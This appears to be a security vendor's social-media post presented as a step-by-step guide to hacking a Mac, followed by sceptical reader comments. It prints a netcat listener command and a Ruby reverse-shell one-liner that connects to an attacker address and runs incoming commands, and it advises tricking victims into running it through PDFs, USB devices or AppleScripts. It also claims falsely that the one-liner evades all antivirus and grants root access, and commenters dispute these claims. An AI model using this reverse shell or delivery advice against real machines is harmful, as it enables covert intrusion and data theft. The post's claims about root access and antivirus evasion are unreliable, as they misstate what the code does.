Hacking a Mac and gaining root control in less than 5 minutes.

Hacking a Mac and gaining root control in less than 5 minutes.

To prove how important data security is in the age of vulnerability here is a glimpse into just how easy it is to hack someone's machine without them ever knowing. In fact, with a single line of Ruby code embedded into a PDF, a bad actor can control any Mac computer from anywhere in the world. But wait, Daren, isn't Mac a closed system and impossible to hack? You would be wrong!

Here goes your step by step guide on how to hack a Mac. My hope is by showing you how easy it is to hack a Mac you will have a better understanding of what to look for and as well you will understand how critically important it is to protect your most valuable asset....your data!!!

. . . . .

STEP 1: Setup a Linux OS computer

You will need a Linux OS computer. If you are like me and have a couple old windows laptops you can flash any number of Linux distros of your liking to the machine. A couple distro's that I like are Zorin OS, Ubuntu, Linux Mint and if you are a power user Arch Linux is my personal favorite. Once you have a Linux computer setup you are good-to-go!

STEP 2: Setup a Netcat Listener

Once you have your Linux ready machine, you'll need to install Ruby Once you have Ruby installed open a terminal in Kali (or any Unix-based OS with Netcat installed), and use the command below to start a listener. This will be the device that will connect to the Mac you intend to hack or gain remote access into.

nc -v -l -p 9999        

  • Netcat will open a listening (-l) port on every available interface.
  • If you're working in a local network, the Netcat listener will be available on your local address (e.g.,?192.168.0.X). If the listener is started on a?virtual private server (VPS), be sure to use the IP address of your VPS in future Ruby commands.
  • The port (-p) number (9999) is arbitrary and can be changed.
  • The verbosity (-v) argument is important here. Without this, when a connection to the target MacBook, Mac Pro, or any other computer running macOS is established, the Netcat terminal will not change. To provide some sort of indication the payload was executed successfully, enable verbosity.

STEP 3: Create a backdoor using Ruby

Execute this in the macOS device to create a backdoor to the Netcat listener:

ruby -rsocket -e "c=TCPSocket.new('1.2.3.4','9999');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"        

This one-liner above will create a TCP socket (TCPSocket.new) and a while loop (while ... end) that says "while there's data coming in, assign it to?cmd, run the input as a shell command, and print it back in our terminal (IO.popen(cmd,'r'){|io|c.print io.read})." Essentially, we're telling Ruby to take the command we submit, execute it, interpret the output, and send it back to us ... over and over again until we break the connection to the macOS device.

Remember to change the IP address (1.2.3.4) and port number (9999) to match the Netcat listener created in the previous step. This can be a local network IP address or IP address of your VPS. On the attacker's system (as shown below), the Netcat terminal will show a new connection was established.

nc -v -l -p 9999
listening on [any] 9999 ...
connect to [192.168.1.55] from (UNKNOWN) [192.168.1.31] 50328        

It's important to know that the Ruby command will bypass all antivirus software like Avast, McAfee and AVG to mention a few. As well, since Ruby will give you 'root access' and can begin dumping passwords store in the target's web browswer. There are many links you can use to learn how to do this function. So again, you have root access once you do this and have full control of the target users Mac.

STEP 4: Use a Social Engineering Attack

Keep in mind by embedding this into a PDF you can also use a USB Rubby Ducky or embed it into AppleScripts that can be sent to the victim. There are several ways you can get your Ruby payload into the hands of the target and get them to open it. Again, the key here is getting the unsuspecting person to click on a PDF or activate the Ruby code. You get the unsuspecting user to do that and their computer is yours!

. . . . .

What I hope you gain from reading this is hacking is easy, doesn't require years of computer science or coding capability. Anyone with a little patience and know-how can hack another person quickly. This should be the eye opener for everyone.

At Secured2 we built our data security solution to prevent hacks like this from ever touching your data. In a Secured2 world, if a hacker ever had root access to your device all your critical data would be shred, spread and unreadable or inexecutable to the hacker. Even if they installed a crypto-locker and held your computer hostage your data would be secure, safe and backed up off your device. Safe n' sound!

To learn more about Secured2 visit us here: www.secured2.com

++Special thanks to the team at WonderHowTo for the code snippets and steps to hacking a Mac! Education is an important part of being protected.++

Duarte M.

Technical Support Engineer | Software Engineer | Cybersecurity Enthusiast

1 年

I prefer to try brute forcing a private ssh key than expect this to work...educational content is very much appreciate by everyone and it should be praised because it inspires new minds to start in their cyber security journey, but this is not educational in any way. Starting by the outrageous sentence "since Ruby will give you 'root access' and can begin dumping passwords store", Ruby is a programming language just like Python, doesn't have magical powers to escalate root privileges like that... Specially this sentence "hacking is easy, doesn't require years of computer science or coding capability"...sure if you want to pass a small line like that you can call it "easy"...but we both know that's not the reality because it wouldn't evade any modern decent AV. Please let's make posts that actually teach the reality of things instead of just trying to scare people for the sake of business ??

Umm... `nc -v -l -p 9999` isn't even a valid command. From the manpage: -l???Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host.?*It is an error* to use this option in conjunction with the *-p*, -s, or -z options. h44ps://linux.die.net/man/1/nc ??????? With a small correction (left to the reader to figure out ?? ) this does work, however.

要查看或添加评论,请登录

Daren Klum的更多文章

社区洞察

其他会员也浏览了